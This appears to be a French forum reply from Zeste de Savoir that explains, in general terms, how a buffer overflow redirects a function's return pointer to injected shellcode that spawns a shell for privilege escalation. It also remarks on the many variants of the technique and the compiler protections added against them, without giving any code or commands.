De cette manière, lorsque ce pointeur est dépilé (souvent au retour d'une fonction), c'est le code malicieux qui est exécuté et non celui prévu à la base. L'exemple de code malicieux le plus classique, c'est un appel système qui lance un shell pour faire une escalade de privilèges, d'où le nom shellcode.

Enfin là on rentre dans un domaine ultra-vaste : entre les différents types de shellcodes qu'on peut faire, les tonnes de cas de buffers vulnérables possibles, la palanquée de façons différentes d'exécuter du code sans forcément forger son propre shellcode et la tétra-chiée de sécurités ajoutées par les compilateurs avec le temps pour colmater la plupart des failles, il y a vraiment beaucoup de choses à voir et à explorer.

+2 -0
Connectez-vous pour pouvoir poster un message.
Connexion

Pas encore membre ?

Créez un compte en une minute pour profiter pleinement de toutes les fonctionnalités de Zeste de Savoir. Ici, tout est gratuit et sans publicité.
Créer un compte